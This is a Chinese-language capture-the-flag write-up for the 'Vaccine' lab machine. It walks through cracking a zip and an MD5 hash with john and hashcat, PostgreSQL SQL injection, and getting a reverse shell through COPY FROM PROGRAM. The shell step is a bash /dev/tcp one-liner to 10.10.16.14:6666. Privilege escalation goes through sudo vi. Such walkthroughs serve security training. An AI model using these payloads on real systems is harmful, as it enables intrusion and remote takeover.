Vaccine
1. 扫描
上来直接扫到ftp有一个backup.zip
以及ssh和80端口
将backup.zip下载下来
然后发现压缩包有密码
2. 访问
访问80端口看看
还有一些信息,apache+PHP,Linux系统
首先,对于登录界面,先排除弱口令和SQL注入,然后看目录扫描结果
没什么内容,那只能回头看backup.zip,尝试解出密码
3. john工具
john专注于破解各类系统hash,支持破解400多种hash类型;其中破解zip用到zip2john,破解rar用到rar2john,破解Word和Excel用到office2john
两个文件都使用加密方式 TS_chk
如果两个文件密码不一样,可以通过-o逐个输出
拿到密码
4. admin的密码写在脸上,不过是md5
这里的md5解密推荐两个工具,一个是轻量级hashid;一个是重量级hashcat,hashcat也可以用于密码恢复,不仅仅是破解密码
hashid的-m可以配合hashcat使用,识别加密哈希算法(包括有盐加密的hash),-j可以配合john使用
使用-m或直接输入,会对可能的加密方式进行分析
然后用hashcat进行解密
hashcat -a 0 -m 0 hash /usr/share/wordlists/rockyou.txt
4. 登录
是一张数据库表
有sql注入
放大之后是这样
可以发现这里是用
where name ilike '%输入内容%'
进行模糊查询;%属于占位符,不需要闭合
找到适用的注释符
找到能够闭合语法:1' and 1=1 --+
获取列数:5
尝试联合查询,发现数据类型不匹配
修改数据类型,获得回显
判断数据库类型
为postgresql
5.利用 COPY FROM PROGRAM
1:先尝试写入文件
发现没有权限
2:换一种方法
先创建一个表
1';create table cmd_exec(cmd_output text);--+
然后用COPY FROM PROGRAM
语句引入数据(执行命令)并写入数据库
1';copy CMD_EXEC from program '/bin/bash -c "bash -i >& /dev/tcp/10.10.16.14/6666 0>&1"'--+
成功弹回shell
去查看网站项目根目录,
index.php在备份压缩包里已经看过了,现在看dashboard.php
发现数据库连接使用的账号密码等信息
无法连接
先找一个flag
6.提权
尝试用刚才发现的密码登录postgres用户,登录成功
查看可用权限
发现只能编辑配置文件,那就试试吧
要用sudo权限运行vi
在vi的普通模式下输入 :shell
拿到第二个shell